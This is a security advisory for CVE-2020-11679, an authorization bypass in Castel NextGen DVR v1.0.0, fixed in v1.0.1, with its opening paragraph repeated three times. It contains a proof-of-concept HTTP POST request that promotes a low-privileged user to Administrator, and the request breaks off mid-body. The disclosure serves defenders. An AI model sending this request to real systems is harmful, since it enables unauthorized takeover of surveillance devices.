Castel NextGen DVR v1.0.0 is vulnerable to authorization bypass on all administrator functionality. The application fails to check that a request was submitted by an administrator. Consequently, a normal user can perform actions including, but not limited to, creating/modifying the file store, creating/modifying alerts, creating/modifying users, etc.

Castel NextGen DVR v1.0.0 is vulnerable to authorization bypass on all administrator functionality. The application fails to check that a request was submitted by an administrator. Consequently, a normal user can perform actions including, but not limited to, creating/modifying the file store, creating/modifying alerts, creating/modifying users, etc.

Castel NextGen DVR v1.0.0 is vulnerable to authorization bypass on all administrator functionality. The application fails to check that a request was submitted by an administrator. Consequently, a normal user can perform actions including, but not limited to, creating/modifying the file store, creating/modifying alerts, creating/modifying users, etc. Attackers can use this vulnerability to create/modify file libraries, create/modify users, etc. All issues are associated with *Castel NextGen DVR v1.0.0 *and have been resolved in v1.0.1*.*

------------------------------- *CVE-2020-11679 <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11679>*

*Original Disclosure* https://www.securitymetrics.com/blog/attackers-known-unknown-authorization-bypass

*Description* A low privileged user can call functionality reserved for an Administrator which promotes a low privileged account to the Administrator role:

POST /Administration/Users/Edit/:ID HTTP/1.1 > Host: $RHOST > User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 > Firefox/52.0 > Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 > Accept-Language: en-US,en;q=0.5 > Accept-Encoding: gzip, deflate > Cookie: $REVIEWER_COOKIES > DNT: 1 > Connection: close > Upgrade-Insecure-Requests: 1 > Content-Type: application/x-www-form-urlencoded > Content-Length: 349

> UserId=:ID&Email=bypass%40test.com > &FirstName=bypass&LastName=bypass&LDAPUser=false > > &Roles%5B0%5D.RoleId=1&Roles%5B0%5D.I…